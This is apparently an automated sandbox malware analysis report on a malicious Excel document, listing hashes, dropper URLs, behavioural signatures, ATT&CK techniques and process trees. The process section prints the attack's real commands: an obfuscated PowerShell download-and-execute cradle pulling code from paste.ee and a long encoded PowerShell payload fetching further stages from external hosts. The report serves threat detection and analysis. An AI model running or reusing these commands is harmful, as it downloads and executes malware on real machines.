e3e9ec3c78971e8899852421651eafa00ab2cc04a2f11022bde16b4c6628a771

Analysis

max time kernel
70s
max time network
18s
platform
windows7_x64
resource
win7v20201028
submitted
26-11-2020 06:26

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General

Target

QQWUO898519.xls
Size

39KB
MD5

69544579d4a9498c3cd2b9c9aea28ef2
SHA1

a306c59cd211d8b7bd85e47106d35aba7958c803
SHA256

e3e9ec3c78971e8899852421651eafa00ab2cc04a2f11022bde16b4c6628a771
SHA512

9eea4efcaf9ac62c01d29adf37e618d16b4a9b8e53e70ca53d37cb7c7c5956e73f6e0043b2b416146124724f7fce64398e27d2f6feea4bbab7f5d311c21a001e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://paste.ee/r/O1pw3

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

httPs://z.zz.ht/k5BuP.txt

ps1.dropper

httPs://paste.ee/r/LQdRk

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1984	1408	powershell.exe	EXCEL.EXE

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1984 powershell.exe
8 1984 powershell.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
7	1984	powershell.exe
8	1984	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1408 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

1984 powershell.exe
1196 powershell.exe
1196 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1984 powershell.exe
Token: SeDebugPrivilege 1196 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1408 EXCEL.EXE
1408 EXCEL.EXE
1408 EXCEL.EXE

pid	process
1408	EXCEL.EXE

pid	process
1984	powershell.exe
1196	powershell.exe
1196	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe

pid	process
1408	EXCEL.EXE
1408	EXCEL.EXE
1408	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 1408 wrote to memory of 1984	1408	EXCEL.EXE	powershell.exe
PID 1408 wrote to memory of 1984	1408	EXCEL.EXE	powershell.exe
PID 1408 wrote to memory of 1984	1408	EXCEL.EXE	powershell.exe
PID 1408 wrote to memory of 1984	1408	EXCEL.EXE	powershell.exe
PID 1984 wrote to memory of 1196	1984	powershell.exe	powershell.exe
PID 1984 wrote to memory of 1196	1984	powershell.exe	powershell.exe
PID 1984 wrote to memory of 1196	1984	powershell.exe	powershell.exe
PID 1984 wrote to memory of 1196	1984	powershell.exe	powershell.exe
PID 1984 wrote to memory of 912	1984	powershell.exe	at.exe
PID 1984 wrote to memory of 912	1984	powershell.exe	at.exe
PID 1984 wrote to memory of 912	1984	powershell.exe	at.exe
PID 1984 wrote to memory of 912	1984	powershell.exe	at.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\QQWUO898519.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/O1pw3')
2⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwB6AC4AegB6AC4AaAB0AC8AawA1AEIAdQBQAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAByAGUAZwAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnAHMAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAEwAUQBkAFIAawAnACkALgByAGUAcABsAGEAYwBlACgAJwAkACQAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBZAC4ATQBdADoAOgBRACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAZgApAA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Windows\SysWOW64\at.exe
"C:\Windows\system32\at.exe" line:1 char:216
3⤵
PID:912

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
9cc16562671fe1abd21762c74e04fad2

SHA1
e324eca38205e27f29bfe7257fea3376e20550f1

SHA256
537362ed7cb77af6b67f5d35ef70691269b0d7a6fc32090eafdb1fb3fc605c3e

SHA512
b15f6e388c67dbb1eba62bc4a60e8149fdd7629835bd816ac258b5851e16fb03695a0007a1ba56412b0e20b4fd3db001edc445d04072f6343f66930264349aba

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
8b10e5c3b3addae3f4d712853fded0d0

SHA1
014a2d65aa5b546a6637e53b092390e79bb16514

SHA256
7c549b8a530031d2d986c018380b2b0384324f1179c68329c3a18412eab08239

SHA512
6bf5ef33cf8e369821c59f62567bc97cdab1826613408a1c3ee5d23bbf519e9ea9fe0324c30a6167babe098f97e5959d40d7beedbcf11e3a9738f61eef4e4dac

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memory/912-56-0x0000000000000000-mapping.dmp

Download
memory/1196-25-0x000000006C710000-0x000000006CDFE000-memory.dmp

Filesize
6.9MB

Download
memory/1196-23-0x0000000000000000-mapping.dmp

Download
memory/1984-8-0x00000000061C0000-0x00000000061C1000-memory.dmp

Filesize
4KB

Download
memory/1984-13-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1984-22-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/1984-21-0x00000000064C0000-0x00000000064C1000-memory.dmp

Filesize
4KB

Download
memory/1984-46-0x00000000068F0000-0x00000000068F1000-memory.dmp

Filesize
4KB

Download
memory/1984-47-0x0000000006910000-0x0000000006911000-memory.dmp

Filesize
4KB

Download
memory/1984-14-0x0000000006300000-0x0000000006301000-memory.dmp

Filesize
4KB

Download
memory/1984-30-0x00000000066B0000-0x00000000066B1000-memory.dmp

Filesize
4KB

Download
memory/1984-0-0x0000000000000000-mapping.dmp

Download
memory/1984-5-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1984-4-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1984-3-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

Download
memory/1984-2-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/1984-1-0x000000006C710000-0x000000006CDFE000-memory.dmp

Filesize
6.9MB

Download